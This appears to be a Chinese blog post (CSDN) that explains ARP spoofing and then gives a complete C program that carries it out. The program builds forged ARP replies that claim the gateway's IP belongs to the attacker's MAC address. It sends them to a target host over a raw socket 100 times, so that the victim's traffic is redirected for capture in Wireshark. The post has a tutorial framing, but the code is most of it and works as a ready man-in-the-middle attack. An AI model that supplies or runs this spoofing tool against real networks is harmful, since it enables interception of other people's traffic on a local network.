arp攻击

最新推荐文章于 2022-02-18 09:24:25 发布

qweeera

最新推荐文章于 2022-02-18 09:24:25 发布

阅读量701

点赞数 2

文章标签：网络服务器 macos

本文链接：https://blog.csdn.net/u012323667/article/details/122401400

版权

上一章讲了arp协议，可以看到非常简单，只有收和发两种格式，没有任何可信认证，采取的是完全信任模式。

若是此时局域网内部有个攻击者呢，那在这种完全信任的模式下攻击者基本可以恣意妄为，现在来模仿下arp攻击。

arp攻击实现

1/假定被攻击的目标此时需要访问互联网，那么必然经过网关。按照前一篇文章的描述，被攻击者首先需要发arp请求广播去询问网关的mac地址。

2/ 攻击者通过不断的给被攻击的目标发送arp响应包。内部伪造网关ip和mac地址的对应关系；在下面的代码中，将网关的mac地址伪造成了攻击者的mac地址，虽然网关会给攻击的目标提供正确的mac地址，但是由于攻击者在不停的发送伪造信息，因此正确的mac地址会被覆盖。

3/最后被攻击的目标将错误的认为攻击者mac地址是网关地址，此时他会将数据发送攻击者这边来，我们通过wireshark来进行捕捉。

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <memory.h>
#include <net/ethernet.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <sys/ioctl.h>
#include <bits/ioctls.h>
#include <string.h>

struct ARP_header
{
    unsigned short    Hardware ;
    unsigned short    Protocol ;
    unsigned char    HardwareAddressLen ;
    unsigned char    ProtocolAddressLeng ;
    unsigned short    Operation ;
    unsigned char    SourceHardareAddr[6] ;
    unsigned char    SourceProtocolAddr[4] ;
    unsigned char    TargetHardareAddr[6] ;
    unsigned char    TargetProtocolAddr[4] ;
};


int main( int argc, char * argv[]) {
    //网卡名字， 这个要改成你自己计算机的网卡名
    unsigned char NetInterface[16] = "wlp4s0";
    struct ARP_header arp_sp;
    arp_sp.Hardware = htons(1);
    arp_sp.Protocol = htons(2048);
    arp_sp.HardwareAddressLen = 6;
    arp_sp.ProtocolAddressLeng = 4;
    arp_sp.Operation = htons(2);

    unsigned char EthernetFrame[64] = {0};
    bzero(EthernetFrame, 64);
    //假数据，发送伪造的网关地址和MAC 这里填本机的mac
    unsigned char Spoofing_MAC[6] = {0Xf8,0X59,0X71,0X10,0X07,0X98};
    unsigned char Spoofing_IP[4] = {192&0Xff,168&0Xff,1&0Xff,1&0XFF};
    //目标的地址和目标的MAC
    unsigned char Target_MAC[6] = { 0Xf8, 0Xff, 0Xc2, 0X18, 0Xe7, 0Xf9};
    unsigned char Target_IP[4] = {192&0Xff,168&0Xff,1&0Xff,2&0Xff};
    //本机的IP地址和MAC地址
    unsigned char Source_MAC[6] = {0Xf8,0X59,0X71,0X10,0X07,0X98};
    unsigned char Source_IP[4] = {192&0Xff,168&0Xff,1&0Xff,5&0Xff};
    //ARP内容
    memcpy(arp_sp.SourceHardareAddr, Spoofing_MAC, sizeof(char)*6);
    memcpy(arp_sp.SourceProtocolAddr, Spoofing_IP, sizeof(char)*4);
    memcpy(arp_sp.TargetHardareAddr, Target_MAC, sizeof(char)*6);
    memcpy(arp_sp.TargetProtocolAddr, Target_IP, sizeof(char)*4);
    //以太网头部
    memcpy(EthernetFrame, Target_MAC, sizeof(char)*6);
    memcpy(EthernetFrame+6, Source_MAC, sizeof(char)*6);
    EthernetFrame[12] = ETH_P_ARP / 256;
    EthernetFrame[13] = ETH_P_ARP % 256;
    //以太网头部和ARP数据连接起来
    memcpy(EthernetFrame+14, &arp_sp, sizeof(char)*28);

    int ARPSocket;
    printf("Create Raw Socket");
    ARPSocket = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if( ARPSocket < 0 ) {
        perror("socket failed");
        exit(1);
    }
    //获取设备
    struct sockaddr_ll device;
    device.sll_ifindex = if_nametoindex((const char*)NetInterface);
    if( device.sll_ifindex == 0 ) {
        perror("sockaddr_ll error");
        exit(1);
    }
    printf("Index of interface %s is %d",NetInterface, device.sll_ifindex);
    device.sll_halen = htons(6);
    device.sll_family = AF_PACKET;
    int i = 0;
    //连续发送100次
    for( i; i<100; i++) {
        int sFd = sendto(ARPSocket, EthernetFrame, 42, 0, (struct sockaddr*)&device, sizeof(device));
        if( sFd <=0 ) {
            perror("sendto failed");
            exit(1);
        }
        sleep(1);
    }

    close(ARPSocket);
}